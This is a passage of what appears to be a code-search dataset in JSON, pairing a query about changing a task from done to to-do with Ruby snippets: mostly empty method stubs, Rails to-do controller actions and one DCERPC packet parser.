"docid": "3db157d82460cb0632778815b62dbc35", "score": "0.57162344", "text": "def dh; end", "title": "" }, { "docid": "a5a290f6112120ef1b85ad284fd055e7", "score": "0.57119846", "text": "def rfc4253\n raise \"implement me\"\n end", "title": "" }, { "docid": "5cdb4d7bb82aec52a912b8f68a6c157b", "score": "0.5624463", "text": "def getc(*) end", "title": "" }, { "docid": "31b76afce45759d480981c6f9f7f79e9", "score": "0.5613536", "text": "def socket; end", "title": "" }, { "docid": "31b76afce45759d480981c6f9f7f79e9", "score": "0.5613536", "text": "def socket; end", "title": "" }, { "docid": "a78279bc7cb9760c6186352940df185c", "score": "0.560401", "text": "def xml_type\n \"DC\"\n end", "title": "" }, { "docid": "090986723c1e1849b1942a294662ed2e", "score": "0.5595794", "text": "def respond_to(packet); end", "title": "" }, { "docid": "2ce45bb8411f9a311ce216beb268499b", "score": "0.55924684", "text": "def device\r\n end", "title": "" }, { "docid": "b1bedaff86551313f56476362dd8f506", "score": "0.5590652", "text": "def rfc2822; end", "title": "" }, { "docid": "b1bedaff86551313f56476362dd8f506", "score": "0.5590652", "text": "def rfc2822; end", "title": "" }, { "docid": "7f6d6952f34fc5a18a466475ecb46d24", "score": "0.5568824", "text": "def connection_type\n\n\t @wordnet_connection.connection_type\n\n\tend", "title": "" }, { "docid": "552d5e86d5d9b6e1dd1365d24b4b4807", "score": "0.5519726", "text": "def ip_messaging; end", "title": "" }, { "docid": "9ecd13812bb6d3a62a38df65051994ed", "score": "0.54934925", "text": "def dsn; end", "title": "" }, { "docid": "9a91419c2905bd39501df1e3d673e9f8", "score": "0.5489763", "text": "def protocol_version; end", "title": "" }, { "docid": "1797e66770045eb1d8840a898024133c", "score": "0.5443939", "text": "def get_dc\n\t\treturn @dc\n\tend", "title": "" }, { "docid": "b39fdcc1916fca1f4f87b2c08eabdfaa", "score": "0.54385865", "text": "def dxfId; end", "title": "" }, { "docid": "3d3ac72b7fbbbb3c189b22ff5d0820db", "score": "0.54354835", "text": "def cc_addrs; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "84da284b276d5ad2809cfd5daedad868", "score": "0.5418902", "text": "def domain; end", "title": "" }, { "docid": "49214fa26bd2ad76f9228c2d3e643c52", "score": "0.5418027", "text": "def for_domain; end", "title": "" }, { "docid": "736c23447b0380d670b8b9039f434c8a", "score": "0.5408788", "text": "def protocol; self[:protocol] end", "title": "" }, { "docid": "f8968d3e38eeed34298f93af1c9b0a70", "score": "0.53904986", "text": "def connected_port; end", "title": "" }, { "docid": "f8968d3e38eeed34298f93af1c9b0a70", "score": "0.53904986", "text": "def connected_port; end", "title": "" }, { "docid": "33e8477f21cfb7919678af9b4d31d24a", "score": "0.5380505", "text": "def cport\n\t\tdatastore['CPORT']\n\tend", "title": "" }, { "docid": "33e8477f21cfb7919678af9b4d31d24a", "score": "0.5380505", "text": "def cport\n\t\tdatastore['CPORT']\n\tend", "title": "" }, { "docid": "b4c1d3208147b9d9b8c864f6aa7367e1", "score": "0.537629", "text": "def getc\n end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.53717583", "text": "def wedding; end", "title": "" }, { "docid": "71787d3797908b1d6746146fc88e9f47", "score": "0.5363166", "text": "def protocol\n bytes[9]\n end", "title": "" }, { "docid": "9f6cc5a733219915239f98f40dc7935b", "score": "0.53550506", "text": "def _host; end", "title": "" }, { "docid": "dce6ea0da1ebadf0ad06203fa5a0e07a", "score": "0.5337393", "text": "def channel; end", "title": "" }, { "docid": "dce6ea0da1ebadf0ad06203fa5a0e07a", "score": "0.5337393", "text": "def channel; end", "title": "" }, { "docid": "105c964d46fb8350f1d18039cfb19b7d", "score": "0.53315437", "text": "def axID; end", "title": "" }, { "docid": "d2d29c70dac27a2b5246d0ecca61c471", "score": "0.5325751", "text": "def wcyd\n\tend", "title": "" }, { "docid": "7b8abac876b9cc89dd99d19955b2e02e", "score": "0.5301205", "text": "def connection_id; end", "title": "" }, { "docid": "e7dd7cf73f02c76e4424413a397a3b50", "score": "0.5294369", "text": "def data_support; end", "title": "" }, { "docid": "e7dd7cf73f02c76e4424413a397a3b50", "score": "0.5294369", "text": "def data_support; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.5279419", "text": "def telegraphical()\n end", "title": "" }, { "docid": "9135aa0bd8e45f4bc1261df276898963", "score": "0.52783793", "text": "def protocol=(_arg0); end", "title": "" }, { "docid": "9135aa0bd8e45f4bc1261df276898963", "score": "0.52783793", "text": "def protocol=(_arg0); end", "title": "" }, { "docid": "b315e2ac8d230cc65bf47aa6a6ed34d6", "score": "0.5273324", "text": "def connection_specification_name; end", "title": "" }, { "docid": "afbc4c54dabf4c09a70792d90ead3525", "score": "0.5261225", "text": "def sn\n end", "title": "" }, { "docid": "eda04f8837b48f061c89a27b9c4f0332", "score": "0.5253598", "text": "def client_ca(*) end", "title": "" }, { "docid": "5a76c45546e9d419554687432fb9e19b", "score": "0.5252184", "text": "def parse(body = '')\n self.raw = self.raw + body\n self.type = self.raw[2,1].unpack('C')[0]\n\n uuid = Rex::Proto::DCERPC::UUID\n data = self.raw\n\n\n if(not data)\n raise Rex::Proto::DCERPC::Exceptions::InvalidPacket, 'DCERPC response packet is incomplete'\n end\n\n # BIND_ACK == 12, ALTER_CONTEXT_RESP == 15\n if (self.type == 12 or self.type == 15)\n\n # Decode most of the DCERPC header\n self.vers_major,\n self.vers_minor,\n trash,\n self.flags,\n self.data_rep,\n self.frag_len,\n self.auth_len,\n self.call_id,\n self.max_frag_xmit,\n self.max_frag_recv,\n self.assoc_group,\n self.sec_addr_len = data.unpack('CCCCNvvVvvVv')\n\n\n if(not self.frag_len or data.length < self.frag_len)\n raise Rex::Proto::DCERPC::Exceptions::InvalidPacket, 'DCERPC response packet is incomplete'\n end\n\n # Keep an offset into the packet handy\n x = 0\n\n # XXX This is still somewhat broken (4 digit ports)\n self.sec_addr = data[26, self.sec_addr_len]\n\n # Move the pointer into the packet forward\n x += 26 + self.sec_addr_len\n\n # Align the pointer on a dword boundary\n while (x % 4 != 0)\n x += 1\n end\n\n # Figure out how many results we have (multiple-context binds)\n self.num_results = data[ x, 4 ].unpack('V')[0]\n\n # Move the pointer to the ack_result[0] offset\n x += 4\n\n # Initialize the ack_result index\n ack = 0\n\n # Scan through all results and add them to the result arrays\n while ack < self.num_results\n self.ack_result[ack] = data[ x + 0, 2 ].unpack('v')[0]\n self.ack_reason[ack] = data[ x + 2, 2 ].unpack('v')[0]\n self.ack_xfer_syntax_uuid[ack] = uuid.uuid_unpack(data[ x + 4, 16 ])\n self.ack_xfer_syntax_vers[ack] = data[ x + 20, 4 ].unpack('V')[0]\n x += 24\n ack += 1\n end\n\n # End of BIND_ACK || ALTER_CONTEXT_RESP\n end\n\n # BIND_NACK == 13\n if (self.type == 13)\n\n # Decode most of the DCERPC header\n self.vers_major,\n self.vers_minor,\n trash,\n self.flags,\n self.data_rep,\n self.frag_len,\n self.auth_len,\n self.call_id,\n self.nack_reason = data.unpack('CCCCNvvVv')\n end\n\n # RESPONSE == 2\n if (self.type == 2)\n\n # Decode the DCERPC response header\n self.vers_major,\n self.vers_minor,\n trash,\n self.flags,\n self.data_rep,\n self.frag_len,\n self.auth_len,\n self.call_id,\n self.alloc_hint,\n self.context_id,\n self.cancel_cnt = data.unpack('CCCCNvvVVvC')\n\n # Error out if the whole header was not read\n if !(self.alloc_hint and self.context_id and self.cancel_cnt)\n raise Rex::Proto::DCERPC::Exceptions::InvalidPacket, 'DCERPC response packet is incomplete'\n end\n\n # Put the application data into self.stub_data\n self.stub_data = data[data.length - self.alloc_hint, 0xffff]\n # End of RESPONSE\n end\n\n # FAULT == 3\n if (self.type == 3)\n\n # Decode the DCERPC response header\n self.vers_major,\n self.vers_minor,\n trash,\n self.flags,\n self.data_rep,\n self.frag_len,\n self.auth_len,\n self.call_id,\n self.alloc_hint,\n self.context_id,\n self.cancel_cnt,\n trash,\n self.status = data.unpack('CCCCNvvVVvCCV')\n\n # Put the application data into self.stub_data\n self.stub_data = data[data.length - self.alloc_hint, 0xffff]\n # End of FAULT\n end\n\n end", "title": "" }, { "docid": "fc1bc2d90b755f8a52e6ea888a48db91", "score": "0.5244916", "text": "def datagram_lb_state\n super\n end", "title": "" }, { "docid": "c3a09dd485b1cacf9029a312997def2b", "score": "0.52423865", "text": "def getc\n control_transfer(\n bRequest: 0x01, # hid get report\n dataIn: 1\n )\n end", "title": "" }, { "docid": "c3a09dd485b1cacf9029a312997def2b", "score": "0.52423865", "text": "def getc\n control_transfer(\n bRequest: 0x01, # hid get report\n dataIn: 1\n )\n end", "title": "" }, { "docid": "b8e2a3a9795357d32ea3673eb1ed79a3", "score": "0.5237313", "text": "def srpc_domain; end", "title": "" }, { "docid": "7631c35ceb7df60ae0cfbd92c14edd46", "score": "0.5233931", "text": "def wireless; end", "title": "" }, { "docid": "255988d088e6763644b33c4b1031a445", "score": "0.52339226", "text": "def render dc ; end", "title": "" }, { "docid": "7631c35ceb7df60ae0cfbd92c14edd46", "score": "0.5233544", "text": "def wireless; end", "title": "" }, { "docid": "45815ef15da1ce1584ab6647bf7beecc", "score": "0.52318275", "text": "def normalized_port; end", "title": "" }, { "docid": "45815ef15da1ce1584ab6647bf7beecc", "score": "0.52318275", "text": "def normalized_port; end", "title": "" }, { "docid": "6e689bbd6fa63524287e46f068072a96", "score": "0.52306616", "text": "def osn\n\n end", "title": "" }, { "docid": "6b884e82b5a2d17e145b666718f77c48", "score": "0.52244186", "text": "def connect\n Nfc.tech_connect(get_name)\n end", "title": "" }, { "docid": "83d008d754dc0c4c0b8320a803e08e51", "score": "0.5220781", "text": "def bcc_addrs; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.5208432", "text": "def connection; end", "title": "" }, { "docid": "bb6f2fbf48e2952326930c914dc8cef2", "score": "0.5201117", "text": "def dmq1(*) end", "title": "" }, { "docid": "72cf1cb20d4bc11010b9431be33fbc9a", "score": "0.51967525", "text": "def proto; end", "title": "" }, { "docid": "e7270864c51fa1bbc4976b780b506ed7", "score": "0.5186199", "text": "def get_device\n end", "title": "" }, { "docid": "2d00e1ea65619f48d80a70c132397ecb", "score": "0.5185745", "text": "def frame_description; end", "title": "" }, { "docid": "58ac9ce0a8f40339a3103cf4d2842311", "score": "0.5185661", "text": "def conn; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5185386", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5185386", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5185386", "text": "def inquiry; end", "title": "" }, { "docid": "344750cd21263b7a719e4626f2d89f3c", "score": "0.5183637", "text": "def protocols; end", "title": "" }, { "docid": "df7d4cd42324476c69e23da74f75c1da", "score": "0.5181457", "text": "def devices; end", "title": "" }, { "docid": "1529696a0c1384e2b899a82588ae249e", "score": "0.5177237", "text": "def ns_values; end", "title": "" }, { "docid": "1529696a0c1384e2b899a82588ae249e", "score": "0.5177237", "text": "def ns_values; end", "title": "" }, { "docid": "0095bf8737a330e5fb9016cfa53be26b", "score": "0.5176216", "text": "def cpr_info\n end", "title": "" }, { "docid": "bada115e83d4436248baafa57d029cbf", "score": "0.5172768", "text": "def xData; end", "title": "" }, { "docid": "bada115e83d4436248baafa57d029cbf", "score": "0.5172768", "text": "def xData; end", "title": "" }, { "docid": "9394cfabb11e4dbcb3943b64dcceac41", "score": "0.5165747", "text": "def data ; end", "title": "" } ]
558567e9f385ffb941d56ad90e2b7d13
POST change_to_todo/:id changes task's status from done to todo
[ { "docid": "626e1a0eb7574502992b5efe0a5b6b8a", "score": "0.8146274", "text": "def change_to_todo\n @task = Task.find(params[:id])\n @task.done = false\n @task.save\n redirect_to root_path\nend", "title": "" } ]
[ { "docid": "f6be716b62e2ef8a1aeb1bc2033b8d1b", "score": "0.723696", "text": "def update\n @todo = Todo.find(params[:id])\n \n if params[:todo][:done]\n \n if params[:todo][:done].to_s == \"true\" \n res = \"done\"\n params[:todo][:done_at] = Time.now\n else \n res = \"undone\"\n params[:todo][:done_at] = nil\n end\n tl(\"Todo\",@todo.id,'This todo has been marked ' + res,\n (@todo.topic.name rescue nil),'todo',@todo.assigned_by)\n else\n tl(\"Todo\",@todo.id,'This todo has been updated',\n (@todo.topic.name rescue nil),'todo',@todo.assigned_to)\n end\n \n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "648d23bcb42b65bff928e52b8865efc0", "score": "0.7117492", "text": "def change\n task = Task.find(params[:id])\n task.completed = params[:state]\n task.save\n render :json => { status: 200 }\n end", "title": "" }, { "docid": "24edfdd5dabb053f2313516bfb823f35", "score": "0.7097529", "text": "def update\n @todo = Todoo.find(params[:id])\n if @todo.update_attribute(:done, true)\n redirect_to todoo_index_path, :notice => \"Your todo item was marked as done!\"\n else\n redirect_to todoo_index_path, :notice => \"We are unable to mark the todo item as done!\" \n end\nend", "title": "" }, { "docid": "b62812f4d6736ea652b00927e3ca3ad9", "score": "0.7068586", "text": "def change_to_done\n @task = Task.find(params[:id])\n @task.done = true\n @task.save\n redirect_to root_path\nend", "title": "" }, { "docid": "520e6f580db3d411f2f8680e003abf45", "score": "0.70319504", "text": "def update_todo_status(list_id, todo_id, new_status)\n sql = \"UPDATE todos SET completed = $1 WHERE id = $2 AND list_id = $3\"\n query(sql, new_status, todo_id, list_id)\n end", "title": "" }, { "docid": "c9b33efa22c330b07a6b09c33d80a7b2", "score": "0.6943468", "text": "def update(todo)\n todo = Rutodo::Database::Todo[todo.id].set(\n title: todo.title,\n description: todo.description,\n done: todo.status == :finished\n )\n\n todo.save_changes\n\n todo.as_entity\n end", "title": "" }, { "docid": "a3049b7d8a1b56f7ad9bd9b84d76566b", "score": "0.68627626", "text": "def set_todo_task\n @todo_task = Todo::Task.find(params[:id])\n end", "title": "" }, { "docid": "d824e96151c3258c9ebc7b9b3cdcbd03", "score": "0.68369085", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "706ea1939391f49592ae2a32d4fa564d", "score": "0.68227434", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "546887b7a8074153362f53181a91f7c7", "score": "0.6746659", "text": "def set_todo\n @todo = Todo.global.find(params[:id])\n end", "title": "" }, { "docid": "f9e81caca6f0f3715342cd13c1b37d6c", "score": "0.67387986", "text": "def update\n params[:todo] ||= params[\"todo_\" + params[:id].to_s]\n\n if @todo.update(update_params)\n @status = \"success\"\n @message = \"To-do updated successfully.\"\n unless request.xhr?\n flash[:notice] = @message\n redirect_to action: :index\n end\n else\n @status = \"alert\"\n @message = \"To-do could not be updated.\"\n unless request.xhr?\n flash[:alert] = @message\n redirect_to :back\n end\n end\n end", "title": "" }, { "docid": "bb0182afdb50ed9ada13923e5e510325", "score": "0.67225796", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "b1a642fd1313e57fa03001ca76d99e90", "score": "0.66955733", "text": "def set_todo\n @todo = Todo.find_by(id: params[:todo_id])\n end", "title": "" }, { "docid": "e3c5576d136066aab7bb0456a0ab58c6", "score": "0.6673253", "text": "def set_todo\n @todo = @project.todos.find(params[:id])\n end", "title": "" }, { "docid": "78f570a918741b671d08a3d15cc09a2d", "score": "0.66630894", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "78f570a918741b671d08a3d15cc09a2d", "score": "0.66630894", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "78f570a918741b671d08a3d15cc09a2d", "score": "0.66630894", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "78f570a918741b671d08a3d15cc09a2d", "score": "0.66630894", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "78f570a918741b671d08a3d15cc09a2d", "score": "0.66630894", "text": "def set_todo\n @todo = Todo.find(params[:id])\n end", "title": "" }, { "docid": "fd67fb6d55521d684779bd9e21ecc6e8", "score": "0.66623104", "text": "def toggle_check\n item = Todo.find(params[\"id\"])\n\n # change the done flag. ActiveRecord\n # will automatically do the boolean/int\n # conversion. \n item.done = !item.done?\n\n if item.save\n redirect_to(:action => \"list\")\n else\n render :text => \"Couldn't update item\" \n end\nend", "title": "" }, { "docid": "09b0ab42503eaa995ee4f6ce27ec2035", "score": "0.664145", "text": "def update\n @todo = @list.todos.find(params[:id])\n\n if @todo.update_attributes(params[:todo])\n flash[:notice] = 'To do was successfully updated.'\n redirect_to list_path(@list)\n else\n flash[:alert] = \"To do was not updated.\"\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "686218f4b936d1bb3c1fde13f6d3e0b0", "score": "0.6627529", "text": "def update_todo(todo)\n put_params = {\n :body => todo.put_json,\n :headers => Logan::Client.headers.merge({'Content-Type' => 'application/json'})\n }\n \n response = Logan::Client.put \"/projects/#{@project_id}/todos/#{todo.id}.json\", put_params\n Logan::Todo.new response\n end", "title": "" }, { "docid": "488fe1d9246880e1d92655200009b1be", "score": "0.65677446", "text": "def update\n @to_do = ToDo.find(params[:id])\n\n if @to_do.update(params[:to_do])\n head :no_content\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "73178c390f792121165fa9042d0486c3", "score": "0.6547464", "text": "def update\n @todo.update(todo_params)\n head :no_content\n end", "title": "" }, { "docid": "3ced39422474f3bb7471eac0eceb27ca", "score": "0.6546873", "text": "def markDone(id)\n item = Todo.find(id)\n item.done = true\n item.save\nend", "title": "" }, { "docid": "880d61d575d6b3e8f2c43e7bef876e9a", "score": "0.65268695", "text": "def change_task_status\n @task_status = UserTask.update_task_status(params[:user_id],params[:task_id])\n end", "title": "" }, { "docid": "bfd12629d9d03919d562f2aee36a3446", "score": "0.6526219", "text": "def update\n @task = Task[params[:id]]\n @user = User[params[:user_id]]\n pending_key = @user.pending.key\n session[:current_tab] = 0 # default\n \n case params[:do]\n when 'done'\n # Set finish date\n @task.finish_date = Date.today.iso8601\n @task.save\n # Move the todo from pending to completed list\n Ohm.redis.lrem(pending_key, 1, @task.id)\n updated = @user.completed.unshift(@task)\n when 'undo'\n # Move back to pending\n Ohm.redis.lrem(@user.completed.key, 1, @task.id)\n updated = @user.pending.unshift(@task)\n session[:current_tab] = 1 \n when 'down'\n Ohm.redis.lrem(pending_key, 1, @task.id)\n # Move it after the pivot\n updated = Ohm.redis.linsert(pending_key, :after, params[:pivot], @task.id)\n when 'up'\n Ohm.redis.lrem(pending_key, 1, @task.id)\n updated = Ohm.redis.linsert(pending_key, :before, params[:pivot], @task.id)\n end\n \n respond_to do |format|\n if updated\n format.html { redirect_to action: 'index', notice: 'Todo was updated.' }\n format.json { head :ok }\n else\n format.html { redirect_to action: 'index', error: 'Operation failed.' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fe2bb094e660d42df9a33ab4f0ec5d8", "score": "0.64999765", "text": "def update\n @todo_task = TodoTask.find(params[:id])\n\n respond_to do |format|\n if @todo_task.update_attributes(params[:todo_task])\n format.html { redirect_to @todo_task, notice: 'Todo task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2c8bf5621ade27b9baf2554f74b92ad", "score": "0.6495555", "text": "def update\n @todo = Todo.find(params[:id])\n @previous_todo = Todo.find(params[:id])\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n if @previous_todo.status_id != @todo.status_id\n @todo.progress = @todo.status.progress\n @todo.past_time = @todo.estimated_time unless @todo.progress != 100 or @todo.past_time != 0\n end\n if @todo.progress == 100\n @todo.finished_at = DateTime.now\n else\n @todo.finished_at = nil\n end\n if @previous_todo.difficulty != @todo.difficulty\n @todo.estimated_time = calculate_estimated_time @todo.difficulty\n end\n @todo.save\n navigation\n case params[\"commit\"]\n when \"Save and Back to the project\" then format.html { redirect_to todos_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully updated.' }\n when \"Save and Insert\" then format.html {redirect_to new_todo_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully updated.' }\n when \"Save and Previous\" then format.html { redirect_to edit_todo_path(:id => @todo_previous.id, :filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully updated.' }\n when \"Save and Next\" then format.html { redirect_to edit_todo_path(:id => @todo_next.id, :filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully updated.' }\n else format.html { redirect_to todo_path(:id => @todo.id, :filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully updated.' }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc40c601d3ea6930522c5d998b7ead27", "score": "0.6482127", "text": "def update\n @to_do = ToDo.find(params[:id])\n\n if @to_do.update(to_do_params)\n head :no_content\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "048ee61d9bd098d56596eb394690e040", "score": "0.6477334", "text": "def mark_as_done(todo)\n @data_object.aff_to_do &= ~todo\n end", "title": "" }, { "docid": "574082d5b2ef86a2bcdd9d7fbf4a9cf0", "score": "0.64761853", "text": "def change_task_status\n\n statuses = ['done', 'done_confirmed']\n\n if statuses.include? params[:status]\n @entity = Task.find(params[:id])\n concierge = User.find(@entity.concierge_id)\n suggestion = TaskSuggestion.find(@entity.suggestion_id) if @entity.suggestion_id.present?\n\n if params[:status].eql?('done')\n\n unless @entity.done?\n\n @entity.update_attributes(status: 'done', fact_end: Date.current)\n UserMailer.done_task_astra(@entity.owner.email, \"#{@current_user.first_name} #{@current_user.last_name}\",\n @entity.title).deliver\n\n message_body = \"#{@current_user.first_name} #{@current_user.last_name} — completed your task, please confirm\"\n\n message_params = [\n recipient_id: @entity.owner_id,\n author_id: @current_user.id,\n message_body: message_body,\n task_id: @entity.id,\n system: true,\n suggestion_id: @entity.suggestion_id\n ]\n\n feed_params = params.permit().tap do |param|\n param[:owner_id] = @current_user.id #author_id\n param[:user_id] = @entity.owner_id #author_id\n param[:message] = message_body\n param[:notification_type] = 'new_message'\n param[:task_id] = @entity.id\n param[:task_title] = @entity.title\n param[:suggestion_id] = @entity.suggestion_id\n param[:task_owner_id] = @entity.owner_id\n end\n\n suggestion.update_attribute(:hire_read, false) if suggestion.present?\n\n Message.create(message_params)\n\n feed = FeedNotification.new(feed_params)\n\n if feed.save!\n NotificationsWorker.perform_async(feed.id)\n end\n end\n\n elsif params[:status].eql?('done_confirmed')\n\n unless @entity.done_confirm?\n\n @entity.update_attributes(status: 'done_confirmed', completed_at: Time.now, fact_end: Date.current)\n\n message_body = \"#{@current_user.first_name} #{@current_user.last_name}: Has confirmed your work.\" if params[:status].eql?('done_confirmed')\n pdf = @entity.generate_pdf_invoice\n @entity.order_changes_confirmed.each do |line|\n @entity.generate_pdf_change_order_invoice(line)\n end\n @entity.checked_completed_quota\n SendInvoiceToQuickBooksJob.perform_async(@entity.id)\n UserMailer.confirm_task(@entity.concierge.email, @entity.id, @entity.title).deliver if pdf.present?\n UserMailer.confirm_task_astra(Settings['email.invoices'], @entity.id, @entity.title).deliver if pdf.present?\n message_params = [\n recipient_id: @entity.concierge_id,\n author_id: @current_user.id,\n task_id: @entity.id,\n message_body: message_body,\n system: true,\n suggestion_id: @entity.suggestion_id\n ]\n\n feed_params = params.permit().tap do |param|\n param[:owner_id] = @current_user.id #author_id\n param[:user_id] = @entity.concierge_id #recipient_id\n param[:message] = message_body\n param[:notification_type] = 'new_message'\n param[:task_id] = @entity.id\n param[:task_title] = @entity.title\n param[:suggestion_id] = @entity.suggestion_id\n param[:task_owner_id] = @entity.owner_id\n end\n\n Message.create(message_params)\n\n # Message.create(\n # author_id: @entity.owner_id,\n # recipient_id: @entity.concierge_id,\n # message_body: \"You 've been raited!\",\n # task_id: @entity.id,\n # rating: true,\n # system: true,\n # give_a_rate: true,\n # suggestion_id: @entity.suggestion_id\n # )\n\n favourites_tasks = FavoriteTask.where(task_id: @entity.id)\n favourites_tasks.destroy_all\n\n #concierge.update_attribute(:balance, concierge.balance.to_f + @entity.budget.to_f) #Added\n #TaskPayment.create(user_id: @entity.concierge_id, concierge: true, task_id: @entity.id , budget: @entity.budget.to_f)\n\n feed = FeedNotification.create(feed_params)\n if feed.save!\n 